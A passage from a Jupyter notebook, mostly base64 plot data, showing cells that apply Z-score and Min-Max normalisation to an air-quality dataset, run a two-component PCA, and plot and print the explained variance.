76UT3PwWCbciwWi8VisVhegLz+9a/n3nvv5ac//SlxHPPTn/6Ue++9lze84Q3P+1qsoLRYLBaLxWJ5gbBq1Sp+9KMfAbBkyRK+8pWv8PWvf501a9bw1a9+lS9/+cssWrToeV+X0IdjjmSxWCwWi8VisaTYCKXFYrFYLBaL5YiwgtJisVgsFovFckRYQWmxWCwWi8ViOSKsoLRYLBaLxWKxHBFWUB5HPvKRj/Cud73reC/jmLNjxw7e//73c/7557N27VquueYatm/ffryXddQZHh7mmmuuYfXq1axdu5ZPf/rTxHF8vJd1zHjyySd573vfy3nnncdLXvISPvrRjzIyMnK8l/W8kCQJ73rXu/jYxz52vJdyzBkbG+OjH/0oa9euZc2aNVxzzTUMDAwc72UdUx5//HHe8Y53sHr1ai666CI+9alPTZtucjIxMjLCK1/5Su65557WbQ8//DBvfetbWbVqFevWreO73/3ucVyh5YWCFZTHiRtuuIGbbrrpeC/jeeF973sf7e3t/PrXv+bXv/41HR0dXHPNNcd7WUedD37wg+TzeW677TZuuOEG7rrrLv7pn/7peC/rmNBsNrn66qtZtWoVt99+OzfddBNjY2P82Z/92fFe2vPC3/7t33L//fcf72U8L1x77bXU63V++ctfcsstt+A4Dh//+MeP97KOGUop/uAP/oBXvepV3Hvvvdxwww3cfvvt/MM//MPxXtpR54EHHuDKK69k27ZtrdvK5TK///u/zxvf+Ebuu+8+Pv3pT/OZz3yGRx555Diu1PJCwArK48DGjRv56le/ylvf+tbjvZRjTrlcpqenhw984APk83kKhQJXXXUVTz31FOVy+Xgv76ixdetW7r33Xj7ykY+Qy+WYN28e11xzDd/61reO99KOCf39/axcuZL3ve99+L5PZ2cnV155Jffdd9/xXtox56677uIXv/gFl1122fFeyjHnscce4+GHH+azn/0spVKJYrHIX/7lX/LhD3/4eC/tmFEulxkcHEQpxYSrnpRyn3nJL3RuvPFGPvzhD3PddddNu/0Xv/gFHR0dvOMd78B1XS644AIuv/zyk/a9zHL0sKMXjzLNZpM9e/bs977e3l6klFx33XV84hOf4JFHHmHz5s3P8wqPPs+15+uvv37abT//+c+ZM2cO7e3tz8fynheefvppOjo66Ovra922ZMkS+vv7GR8fp1QqHcfVHX0WL17MP/7jP0677ec//zmnnXbacVrR88Pw8DB//ud/zle/+tWTNvo8lUceeYSlS5fyH//xH3z729+m0Wjw0pe+lD/5kz853ks7ZnR2dvKe97yHz33uc/zVX/0VSZJwySWX8J73vOd4L+2octFFF3H55Zfjuu40Ufn000+zfPnyaY9dunQpN9xww/O9RMsLDCsojzIPP/wwV1111X7v+8pXvsKvf/1rXvKSl/Cyl73spEkhPNeeL7300tb33/72t/nGN77B1772tedrec8LtVptnwjGxPf1ev2kE5RT0VrzhS98gVtuuYV//dd/Pd7LOWYopfjIRz7Ce9/7XlauXHm8l/O8UC6X2bBhA6effjo33ngjzWaTj370o/zJn/wJX//614/38o4JSimy2Swf//jHueKKK9i6dSvvf//7+dKXvsQHP/jB4728o0Zvb+9+b9/fe1k2m6Verz8fy7K8gLGC8iizdu1aNmzYsN/7fvSjH/Hkk0/y7//+78/zqo4tz7bnCcIw5DOf+Qw//elP+frXv87555//PK3u+SGfz9NoNKbdNvF9oVA4Hkt6XqhWq/zpn/4pjz/+OP/6r//KihUrjveSjhlf//rX8X3/RdFIN4Hv+wD8+Z//OZlMhmKxyAc/+EHe9ra3UavVTsqf7V/+8pf8/Oc/5+abbwZg2bJlvO997+PTn/70SSUoD0Qul6NSqUy7rdlsnpSvteXoYgXl88gPf/hDNm/ezIUXXghAEAQkScLq1av50Y9+xOzZs4/zCo8NIyMj/NEf/RFhGHLDDTcwb968472ko86yZcsYGxtjaGiInp4eADZt2sTMmTNpa2s7zqs7Nmzbto3f+73fY/bs2dxwww10dXUd7yUdU374wx8yMDDA6tWrAfOPLMB//ud/nrQNOkuXLkUpRRRFZDIZwETwAE7Wqb27du3ap6PbdV08zztOK3p+Wb58OXfccce02zZu3MiyZcuO04osLxRsU87zyPXXX89DDz3E/fffz/3338/v//7vc+6553L//feftGIyiiKuvvpqisUi3/72t09KMQmwcOFCzj33XP73//7fVKtVtm/fzle/+lWuuOKK4720Y0K5XObd734355xzDtdff/1JLyYBbr75Zh588MHW7+/rXvc6Xve61520YhLgwgsvZN68efzZn/0ZtVqNkZER/uZv/oZLL72UYrF4vJd3TLjooosYHBzk7/7u70iShO3bt/O1r32Nyy+//Hgv7Xnhla98JUNDQ/zTP/0TURRx99138+Mf/5i3vOUtx3tplhMcG6G0HFNuueUWHn/8cTKZDBdccMG0+37yk5+cVEL6S1/6Ev/rf/0vLrnkEqSUvPGNbzwp7ZEAvv/979Pf38/PfvazVmpwgoceeug4rcpytPE8j29+85t89rOf5VWvehVBELBu3Tr+/M///Hgv7ZixdOlSvv71r/OFL3yBf/zHf6StrY3Xv/71vO997zveS3te6Ozs5Bvf+Aaf/vSn+dKXvkRXVxd/8Rd/cdKVKVmOPkKfrHkLi8VisVgsFsvzgk15WywWi8VisViOCCsoLRaLxWKxWCxHhBWUFovFYrFYLJYjwgpKi8VisVgsFssRYQWlxWKxWCwWi+WIsILSYrFYLBaLxXJEWEFpsVgsFovFYjkirKC0WCyWE4ytW7ce7yVYLBbLIWEFpcVyArNu3TrOOOMMVq1axapVqzj77LO56KKL+NznPteaqbw3/f39rFq1iv7+/iM6949+9CNe+9rXHtExJli3bh3f//73D3h/pVLh//7f/8urXvUqVq1axUUXXcSHP/xhtm3bdlTO/0Lic5/7HF/72tee83EjIyO88pWv5J577nkeVmWxWCzPjhWUFssJzic/+UkeeughHnroIX77299y/fXX84Mf/IC//du/3e/jZ8+ezUMPPXTEYy1f//rX85Of/OSIjnEwjIyM8OY3v5mtW7fyd3/3dzz44IP8+Mc/pr29nSuvvJKdO3ce8zWcSIyOjj7nYx544AGuvPLKF6XgtlgsJyZWUFosLzBWrFjBmjVreOKJJwB417vexcc+9jFe8YpX8PKXv5wNGzawYsUKduzY0Xr8N7/5zVb07+1vfzsbNmxoHe+OO+7giiuuYNWqVaxbt45//dd/Bcy87nXr1gFwzz33cPHFF/PFL36RtWvXsnbtWj796U8ThiEA1WqVv/iLv+Cyyy7j7LPP5qUvfSl/93d/d1D7+fKXv0w2m+Vv/uZvWLRoEUIIOjs7+fjHP97aD0Cz2eSv/uqveNnLXsaaNWt417vexSOPPDLtunznO9/hVa96FWeddRZ/+Id/yGOPPcbb3/52Vq1axVve8pZWKvnLX/4y11xzDddeey1nn30269at4zvf+U7rWKOjo3z84x/noosuYu3atfzBH/wBW7ZsAWDHjh2sWLGC7373u6xbt45zzz2X9773vezevbv1/DvvvJMrrriC1atX89rXvpYf/ehHrfs+9rGP8T//5//kD//wD1m1ahWXXHIJ//Iv/wLAV77yFX784x/z4x//mNe//vX7vV433ngjH/7wh7nuuusO6vpaLBbL84K2WCwnLK94xSv09773vdb3YRjqu+++W69Zs0b/y7/8i9Za63e+8536pS99qd69e7cul8t6+/btevny5Xr79u1aa62XL1+ur7zySj0wMKDHx8f1e97zHv3f//t/11pr/cwzz+jTTz9df/e739VRFOlHH31Ur1q1St966636e9/7nn7FK16htdb67rvv1suXL9cf+MAHdKVS0Zs3b9aXXnqp/pu/+Ruttdaf+MQn9Lvf/W5dLpe1UkrffPPNevny5XrLli373cdULr74Yv23f/u3z3kt/uRP/kRffvnlesuWLToIAv1P//RPetWqVXrnzp2tfb7jHe/Qo6Ojes+ePXr16tX6pS99qd64caOu1Wr67W9/u/7Yxz6mtdb6S1/6kl6+fLn+xje+ocMw1Lfddps+7bTT9J133tm6pldddZUeGBjQjUZDf/azn9Uve9nLdKVSaV3fa665RpfLZT04OKhf97rX6Y9//ONaa63Xr1+vzzzzTP3zn/9cx3GsH3jgAb127Vp96623tvZx2mmn6dtvv11HUaS//e1v61NOOUXv3r27df+f/MmfHPA6DAwM6CiKWnu+++67n/PaWSwWy7HGRigtlhOcT37yk6xevZrVq1dzwQUX8Jd/+Ze8973v5Z3vfGfrMRdffDF9fX2USqX9HuNd73oXvb29tLW18epXv7oVbfvJT37CaaedxhVXXIHrupx++un827/9G6eddto+xxBC8IlPfIJiscjChQu5+uqrW5G3a6+9li984QsUi0V2795NJpMBYGBg4Dn3NzIyQm9v77M+JggCbrrpJv74j/+YBQsW4Ps+7373u1m8eDE33XRT63HvfOc76ejoYMaMGSxbtozLLruMJUuWkM/nOf/886elz1esWMF73/tePM/joosu4lWvehU//OEP2b59O/feey8f//jH6e3tJZvN8uEPf5g4jvnNb37Tev7v/d7vUSqV6OnpYd26da1r+u///u9ccsklXHbZZTiOwznnnMPb3vY2vvWtb7Weu3btWl7ykpfgui5vectbSJLkoNPXvb29uK57UI+1WCyW5wv7rmSxnOB84hOf4M1vfvOzPmbGjBnPen9PT0/ra9d10VoDRvDtXWu5cuXK/R6jvb2dzs7O1vezZs1qCcbh4WE+/elP88QTTzB37lxOP/10gAM2Dk2lt7f3gMJzZGSE9vZ2yuUyURQxd+7caffPnTu3ldoH6OjoaH3tOA7t7e2t76WUrX0DLFy4cNqxZs2axfr16xkaGgJg3rx50441a9Ysdu7cyVlnnQUc+Jru3LmTu+++m9WrV7fuT5KE+fPnT9vzBJ7nAQd3rSwWi+VExUYoLZaTACHEYT1v1qxZ+3SDf+973+O//uu/9nlspVKh0Wi0vt+xY0dLjH7gAx/g9NNP56677uLGG2/kQx/60EGvYd26dfziF78gSZJpt2utufrqq/nkJz9JT08PmUyG7du3T3vMtm3bponpQ7kOe/bsmfb9jh07mDVrFnPmzGkde4IkSejv73/OSCrAzJkzedOb3sT999/f+vPzn/+cv//7vz/otVksFssLDSsoLZYXMa997Wt54okn+MEPfkCSJDz22GN89rOf3W9KNUkSPve5zxEEAc888wzXX389V1xxBWDEZjabxXEcRkZG+NSnPgVAFEXPuYZrrrmGcrnMhz70oVbTzJ49e/izP/szdu/ezdVXX42Ukre85S18/vOfZ+vWrYRhyD//8z+zcePGw7Y2+u1vf8sPf/hDkiThN7/5Db/61a94y1vewowZM3jZy17Gpz71KQYHB2k2m/yf//N/SJKEV7ziFc953CuuuIKbbrqJ22+/HaUUW7Zs4Z3vfCff+MY3Dmpdvu9TqVQOa08Wi8VyvLCC0mJ5ETN//nz+/u//nm9961ucd955fOhDH+JjH/sYF1100X4f397eziWXXMJVV13Fm970Jq6++moAPvOZz/DTn/6Uc845hze/+c309fVx6qmn8tRTTz3nGrq6urjhhhtob2/nPe95D6tWreKKK64gjmO+/e1vt1LFH/3oR7nooot4z3vew9q1a/nZz37G9ddfz6JFiw5r76eccgq/+tWvOP/88/nsZz/LX//1X7Nq1SoA/uqv/op58+bxpje9iQsvvJANGzbwz//8z9NS6gfirLPO4vOf/zyf//znWbNmDe985ztZt24df/zHf3xQ63rNa17Dgw8+yMtf/vLD2pfFYrEcD4SeWlRksVgs++Gee+7hqquummY39ELmy1/+Mvfeey/f/OY3j/dSLBaL5aTARigtFovFYrFYLEeEFZQWi8VisVgsliPCprwtFovFYrFYLEeEjVBaLBaLxWKxWI4IKygtFovFYrFYLEeEFZQWi8VisVgsliPCCkqLxWKxWCwWyxFhBaXFYrFYLBaL5YiwgtJisVgsFovFckRYQWmxWCwWi8ViOSKsoLRYLBaLxWKxHBFWUFosFovFYrFYjoj/D8Q0hN0bdXF6AAAAAElFTkSuQmCC"
},
"metadata": {},
"output_type": "display_data"
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"Explained Variance Ratio after Z-Score Normalization: [0.55721851 0.14969909]\n"
]
}
],
"execution_count": 14
},
{
"metadata": {},
"cell_type": "markdown",
"source": "### After Min-Max normalization",
"id": "b85168d35ad27594"
},
{
"metadata": {
"ExecuteTime": {
"end_time": "2025-02-19T00:13:00.822127Z",
"start_time": "2025-02-19T00:12:59.934070Z"
}
},
"cell_type": "code",
"source": [
"scaler_minmax = MinMaxScaler()\n",
"df_minmax = scaler_minmax.fit_transform(df_attributes)\n",
"\n",
"pca_minmax = PCA(n_components=2)\n",
"pca_result_minmax = pca_minmax.fit_transform(df_minmax)\n",
"\n",
"df_pca_minmax = pd.DataFrame(data=pca_result_minmax, columns=[\"PC1\", \"PC2\"])\n",
"\n",
"plt.figure(figsize=(8, 6))\n",
"plt.scatter(df_pca_minmax[\"PC1\"], df_pca_minmax[\"PC2\"], c=df[\"Air Quality\"], cmap='viridis', alpha=0.6)\n",
"plt.title(\"2D PCA after Min-Max Normalization\")\n",
"plt.xlabel(\"Principal Component 1\")\n",
"plt.ylabel(\"Principal Component 2\")\n",
"plt.colorbar(label='Air Quality')\n",
"plt.show()\n",
"\n",
"print(f\"Explained Variance Ratio after Min-Max Normalization: {pca_minmax.explained_variance_ratio_}\")\n"
],
"id": "771579c28e224618",
"outputs": [
{
"data": {
"text/plain": [
"<Figure size 800x600 with 2 Axes>"
],
"image/png": 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kJ8ydO5f777+/n9XoaHjjjTcIBAKHFV+9FBYWMm3atLcc77zzzmPlypWk02m8Xu+A/Y8//jh33303//d//8esWbN47LHH8Pv9PPDAA7kvyF6++93v8uijjw4qQBsaGvjsZz+bi1fsdbU//PDDLFu27C3neTD5+fnMmzePr3zlK4Pu93g8xzTewSxcuJD8/Hyef/558vPzqampYerUqcc93sHcfvvtfOhDH8o9HmyemqZx2WWX8dxzz/HRj36UpUuX8vvf/37AcbZt86lPfQpd1/nLX/7C5MmT0TSN3bt3D7ACd3R08Itf/IJJkyaxbNkynn766QEWubfiE5/4BC+88ALf+973uPXWW/vtC4VCg4aEtLe3A1BUVJSrujBU/Pu//zt79uzhd7/7HbNnz8bj8ZBMJvu5+4+GH/3oR6xcuZLf//73DBs2rN++u+++m+eff56f//znnHvuuQQCAYCci/xoCIVCgPMcHOpGb29vZ/jw4cc0XxcXl5OLm4Tk8q7gkUce4cc//jFXXHFFLvv8WNi2bRtLlizhve9976Bi8Xj4+Mc/Tk9PDz/72c8G7Ovs7OTBBx9k5MiRzJw5k0wmw9NPP83FF1/MOeecw/z58/v93XjjjezZs2dA4gnA5s2bSafT/Nu//VtOfAI58XkkK8+hQnfevHnU1dUxevRopk2blvt76qmn+Otf/zqotfBo8Xg8XHLJJbzwwgs8++yzvOc97znusQ6lpqam33wPV6z8qquuYteuXTz44IOUlpYOcOsDdHd3U1dXx0033cT06dNzGfpLly4F6Ofq7409fOihh7j88sv5r//6r2MWhKqq8sMf/pBYLMavf/3rfvvmzp3Lyy+/3M+aZ1kWzzzzDNOmTXtbPwgOx9q1a7n88ss5++yzc+MPtvYj8be//Y0//OEPfOtb32LOnDmDXmP+/PksWrQoJz43b95MV1dXv2sc+vo8mBkzZuDxeAaUKVuzZg3Nzc1vGavq4uJyanEtoC7veNrb2/nBD35AdXU1H/7wh/uVDAIYMWIExcXFuccbNmwAHGEWj8fZtGkTv//97xk1ahSf//znh2xeM2fO5POf/zw///nP2bNnDzfccANFRUXs2rWLhx56iHg8zm9+8xuEECxZsoSenp7DirJrr72Wn/70pzzyyCMDCsdPmTIFTdP48Y9/zMc//nEymQyPP/54rsD7keLcCgoK2Lp1K6tWrWL69Ol89KMf5cknn+SjH/0oH//4xykqKmLx4sX85S9/GbRm6bFy1VVX8W//9m8oisI3vvGNtz3esTJv3jzKysp48MEH+ehHPzpovGZJSQnV1dU8/PDDVFZWUlBQwGuvvcYf/vAHoC8M4YknnmDJkiX85Cc/obi4mK9//eu85z3v4Zvf/OYAIflWjBs3js9+9rP8/Oc/77f99ttvZ+nSpfzrv/4rn/rUp/B4PPzpT3+isbGRBx988Phuwlswffp0nn76aaZMmUJlZSXr16/n17/+NUKIoypRtmHDBr797W9z6aWXMnXqVDZu3NjvR9DkyZOZPn06zz77LH/+85+pra1l+/btPPDAAwOuUVBQwPr161m9evUAIVtYWMinPvWpXKLWJZdcQlNTE7/4xS8YO3YsN95449DdFBcXlyHHFaAu73heffVVUqkU+/fv7+eG7eUHP/hBvy+j97///bl/FxYWMmzYMG699VY++MEPDhov93b4zGc+w+TJk3n44Yf5wQ9+QE9PD5WVlSxcuJBPf/rTOdfk448/TigUOmyXl/Lycs4991xeeOEFOjs7KSkpye0bOXIk99xzD/fddx+f+cxnCIVCzJw5k//93//llltuYc2aNYe1CH784x/n+9//Prfeeiu/+93vmDNnDo888gj33HMP3/nOd0in04waNapf1vTb4dxzz6WgoICqqqpTkn2sKAqXX345f/rTn45ogb3//vu5++67ueuuu/B4PIwdO5YHHniA73//+6xZs4bLLruMu+++m4ULF+Zc7hUVFXzxi1/ku9/9Ln/7299473vfe0xz++QnP8mLL77Ili1bctvGjRvH//3f//HTn/6Ur33tawghmD59On/84x8HtSwOBT/84Q/53ve+x/e+9z3AyRj/7ne/y1NPPcWaNWve8vxly5ZhGAYvvvgiL7744oD9//znP7nrrrswDIOf//znZDIZampq+MxnPsPu3bt56aWXsCwLVVX59Kc/zf33388nP/nJQTtW3XHHHZSWlvKnP/2Jv/71rxQWFnLFFVfwhS984bDlz1xcXE4PhHSjsF1cXFxcXFxcXE4ibgyoi4uLi4uLi4vLScUVoC4uLi4uLi4uLicVV4C6uLi4uLi4uLicVFwB6uLi4uLi4uLyDseyLG655ZZcJ7fBePXVV3Otbq+88spcx7x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